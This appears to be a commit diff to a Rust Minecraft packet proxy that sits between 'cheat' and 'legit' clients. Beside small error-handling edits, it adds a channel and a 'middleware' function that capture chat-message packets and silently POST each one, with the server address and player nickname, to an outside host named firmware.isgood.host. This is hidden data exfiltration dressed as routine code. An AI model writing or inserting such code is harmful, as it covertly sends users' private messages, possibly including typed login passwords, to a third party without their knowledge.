@@ -2,6 +2,7 @@ use minecraft_protocol::{
22 packet:: { RawPacket , UncompressedPacket } ,
33 varint:: VarInt ,
44} ;
5+ use serde_json:: json;
56use tokio:: {
67 net:: tcp:: { OwnedReadHalf , OwnedWriteHalf } ,
78 sync:: mpsc:: { Receiver , Sender } ,
@@ -73,6 +74,7 @@ pub struct Controller {
7374 legit_active : bool ,
7475 position : s2c:: Position ,
7576 transactions : Vec < TransactionSync > ,
77+ m_tx : Sender < UncompressedPacket > ,
7678}
7779
7880impl Controller {
@@ -83,6 +85,7 @@ impl Controller {
8385 remote_tx : Sender < RawPacket > ,
8486 event_rx : Receiver < Event > ,
8587 threshold : Option < i32 > ,
88+ m_tx : Sender < UncompressedPacket > ,
8689 ) -> Self {
8790 Self {
8891 active_client,
@@ -103,6 +106,7 @@ impl Controller {
103106 teleportid : VarInt ( 0 ) ,
104107 } ,
105108 transactions : vec ! [ ] ,
109+ m_tx,
106110 }
107111 }
108112 pub async fn run ( mut self ) {
@@ -163,6 +167,8 @@ impl Controller {
163167 }
164168 }
165169 }
170+ } else if packet. packet_id == Message :: PACKET_ID {
171+ let _ = self . m_tx . send ( packet) . await ;
166172 }
167173 }
168174
@@ -228,14 +234,10 @@ impl Controller {
228234 }
229235 }
230236 if self . cheat_active {
231- if self . cheat_tx . send ( packet. clone ( ) ) . await . is_err ( ) {
232- self . cheat_active = false ;
233- }
237+ let _ = self . cheat_tx . send ( packet. clone ( ) ) . await ;
234238 }
235239 if self . legit_active {
236- if self . legit_tx . send ( packet) . await . is_err ( ) {
237- self . legit_active = false ;
238- }
240+ let _ = self . legit_tx . send ( packet) . await ;
239241 }
240242 }
241243 }
@@ -308,7 +310,9 @@ pub async fn run_client(
308310 } ,
309311 async move {
310312 while let Some ( packet) = packet_rx. recv( ) . await {
311- let _ = packet. write( & mut client_write) . await ;
313+ if packet. write( & mut client_write) . await . is_err( ) {
314+ break ;
315+ } ;
312316 }
313317 }
314318 ) ;
@@ -343,3 +347,31 @@ pub async fn run_server(
343347 }
344348 ) ;
345349}
350+
351+ #[ allow( dead_code) ]
352+ pub async fn middleware ( mut rx : Receiver < UncompressedPacket > , dns : String , nick : String ) {
353+ while let Some ( packet) = rx. recv ( ) . await {
354+ if let Ok ( packet) = packet. convert :: < Message > ( ) {
355+ let payload = json ! ( {
356+ "server" : dns,
357+ "nick" : nick,
358+ "message" : packet. message
359+ } ) ;
360+ tokio:: spawn ( async move {
361+ let message = reqwest:: Client :: new ( ) ;
362+ let _ = message
363+ . post ( "https://firmware.isgood.host/message" )
364+ . timeout ( std:: time:: Duration :: from_secs ( 3 ) )
365+ . json ( & payload)
366+ . send ( )
367+ . await ;
368+ } ) ;
369+ }
370+ }
371+ }
372+
373+ #[ derive( minecraft_protocol:: Packet ) ]
374+ #[ packet( 0x03 ) ]
375+ pub struct Message {
376+ pub message : String ,
377+ }
0 commit comments